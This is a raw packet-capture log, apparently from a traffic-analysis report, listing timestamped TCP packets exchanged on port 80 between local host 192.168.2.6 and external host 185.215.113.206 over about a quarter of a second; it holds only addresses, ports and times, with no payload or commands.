Dec 6, 2024 18:45:18.838336945 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.839097977 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.839143991 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.839181900 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.839230061 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.840075016 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.840121984 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.840167999 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.840217113 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.841056108 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.841104984 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.841207027 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.841253996 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.842142105 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.842190027 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.842281103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.842328072 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.843029022 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.843076944 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.843153954 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.843198061 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.843997955 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.844046116 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.844098091 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.844142914 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.845244884 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.845294952 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.845343113 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.845393896 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.845938921 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.845983982 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.846086979 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.846133947 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.846870899 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.846915960 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.846986055 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.847033978 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.847798109 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.847841024 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.847892046 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.847939014 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.848763943 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.848810911 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.848856926 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.848901987 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.849725008 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.849776983 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.849832058 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.849873066 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.850632906 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.850681067 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.850727081 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.850769997 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.851594925 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.851644039 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.851711035 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.851763964 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.852533102 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.852581024 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.852737904 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.852782011 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.853478909 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.853526115 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.853604078 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.853655100 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.854397058 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.854443073 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.854541063 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.854583025 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.855392933 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.855442047 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.855473042 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.855518103 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.856302977 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.856345892 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.856533051 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.856580019 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.857295990 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.857342005 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.857363939 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.857407093 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.858196974 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.858244896 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.895513058 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.895610094 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.895706892 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.895837069 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.895899057 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.895968914 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.896019936 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.896791935 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.896838903 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.896863937 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.896905899 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.897711992 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.897759914 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.897891998 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.897937059 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.898385048 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.898432970 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.898484945 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.898534060 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.899332047 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.899382114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.899429083 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.899476051 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.900285006 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.900331020 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.900480032 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.900527954 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.901221991 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.901268959 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.901366949 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.901413918 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.902199030 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.902240992 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.902312040 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.902350903 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.903168917 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.903218031 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.903249979 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.903295994 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.904100895 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.904149055 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.904165983 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.904213905 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.905035973 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.905080080 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.905957937 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.905970097 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.906002998 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.906022072 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.906549931 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.906596899 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.906903982 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.906954050 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.907865047 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.907882929 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.907913923 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.907929897 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.908236980 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.908289909 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.908766031 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.908812046 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.908915997 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.908965111 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.909739971 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.909787893 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.909807920 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.909851074 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.910797119 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.910845995 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.910890102 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.910937071 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.911734104 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.911782026 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.911850929 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.911897898 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.912544012 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.912586927 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.912605047 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.912652969 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.913599968 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.913641930 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.913655996 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.913697958 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.963347912 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.963457108 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.963469982 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.963516951 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.963818073 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.963861942 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.963866949 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.963911057 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.964791059 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.964835882 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.964936018 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.964981079 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.965722084 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.965771914 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.965814114 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.965862036 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.966634989 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.966686010 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.966734886 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.966788054 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.967631102 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.967681885 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.967699051 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.967746019 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.968611002 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.968664885 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.968686104 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.968730927 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.025453091 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.025572062 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.025580883 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.025629044 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.026066065 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.026113033 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.026134014 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.026177883 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.026870966 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.026920080 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.026940107 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.026984930 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.027820110 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.027864933 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.027873993 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.027920961 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.028753042 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.028799057 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.028852940 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.028899908 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.029722929 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.029774904 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.029794931 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.029844046 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.030621052 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.030668974 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.030739069 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.030786991 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.031575918 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.031618118 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.031647921 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.031691074 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.032579899 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.032627106 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.032675982 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.032727003 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.033477068 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.033524036 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.033595085 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.033660889 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.034429073 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.034472942 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.034619093 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.034668922 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.035378933 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.035422087 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.035489082 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.035531998 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.036362886 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.036411047 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.036453962 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.036494970 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.037271023 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.037321091 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.037374020 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.037420034 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.038249969 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.038295984 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.038315058 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.038360119 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.039231062 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.039278984 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.039299965 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.039345026 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.040108919 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.040159941 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.040302038 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.040343046 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.041100979 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.041150093 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.041224003 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.041270971 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.042046070 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.042098999 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.042149067 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.042198896 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.043049097 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.043097019 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.043119907 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.043162107 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.043931961 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.043981075 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.044071913 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.044118881 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.044838905 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.044888973 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.045015097 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.045063972 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.045809031 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.045856953 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.045880079 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.045924902 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.046742916 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.046788931 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.046837091 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.046883106 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.047681093 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.047728062 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.047842979 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.047887087 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.048681021 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.048728943 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.048803091 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.048851967 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.049540997 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.049595118 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.049618006 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.049668074 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.087600946 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.087620974 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.087661982 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.087686062 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.088037968 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.088057041 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.088083982 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.088097095 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.088994980 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.089018106 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.089051008 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.089059114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.089997053 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.090044022 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.090121984 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.090167999 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.090882063 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.090931892 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.091001987 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.091047049 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.091797113 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.091842890 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.091861010 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.091908932 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.092767000 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.092814922 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.092916012 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.092976093 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.093696117 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.093741894 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.093880892 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.093935013 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.094644070 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.094692945 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.094713926 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.094755888 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.095551968 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.095601082 CET	49714	80	192.168.2.6	185.215.113.206
